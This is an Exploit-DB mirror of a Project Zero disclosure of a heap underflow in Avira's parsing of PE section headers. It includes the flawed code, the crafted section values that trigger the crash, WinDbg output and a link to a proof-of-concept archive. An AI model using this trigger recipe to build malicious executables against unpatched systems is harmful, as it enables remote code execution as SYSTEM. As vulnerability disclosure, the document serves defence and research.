Avira – Heap Underflow Parsing PE Section Headers

  • 作者: Google Security Research
    日期: 2016-03-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/39600/
  • Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=765
    
    One of the things you might expect an Antivirus engine to do reliably is parse PE files. However, after some simple testing with Avira, I found a heap underflow (that is, writing *before* a heap allocation) parsing section headers. If a section header has a very large relative virtual address, Avira will wrap calculating the offset into a heap buffer, and write attacker controlled data to it (the data from section->PointerToRawData in the input file).
    
    The code is doing something like:
    
    if (Section->SizeOfRawData + Section->VirtualAddress < 8192) {
    buf = malloc(8192);
    
    memcpy(buf + Section->VirtualAddress, input + Section->PointerToRawData, Section->SizeOfRawData);
    }
    
    
    The bug is that you need to check if Section->VirtualAddress + Section->SizeOfRawData wraps. This vulnerability is obviously exploitable for remote code execution as NT AUTHORITY\SYSTEM.
    
    To reproduce this bug, create an executable with a section like this:
    
    NAMERVAVSZ RAW_SZRAW_PTRnRELREL_PTR nLINE LINE_PTR FLAGS
    .textff003fff 1fff 1fff200 00 00 0---
    
    With Page heap enabled, this should crash reliably trying to memcpy the data from section.PointerToRawData
    
    (e58.2b8): Access violation - code c0000005 (first chance)
    First chance exceptions are reported before any exception handling.
    This exception may be expected and handled.
    eax=00000041 ebx=00000000 ecx=000007f7 edx=00000002 esi=35785219 edi=41294000
    eip=7291545c esp=41bedaf0 ebp=41bedaf8 iopl=0 nv up ei pl nz na po nc
    cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010202
    aecore!ave_proc+0x1fc2c:
    7291545c f3a5rep movs dword ptr es:[edi],dword ptr [esi]
    0:011> db esi
    3578521941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    3578522941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    3578523941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    3578524941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    3578525941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    3578526941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    3578527941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    3578528941 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    
    I think it started writing to ptr - 8192, lets see what's there:
    
    0:011> db edi - (0n8192 - (ecx * 4)) 
    41293fdc00 00 00 41 41 41 41 41-41 41 41 41 41 41 41 41...AAAAAAAAAAAAA
    41293fec41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41AAAAAAAAAAAAAAAA
    41293ffc41 41 41 41 ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??AAAA????????????
    4129400c?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??????????????????
    4129401c?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??????????????????
    4129402c?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??????????????????
    4129403c?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??????????????????
    4129404c?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??????????????????
    
    Yes! 
    
    Without page heap, you should get heap corruption, probably writing to 0x41414141.
    
    
    Proof of Concept:
    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39600.zip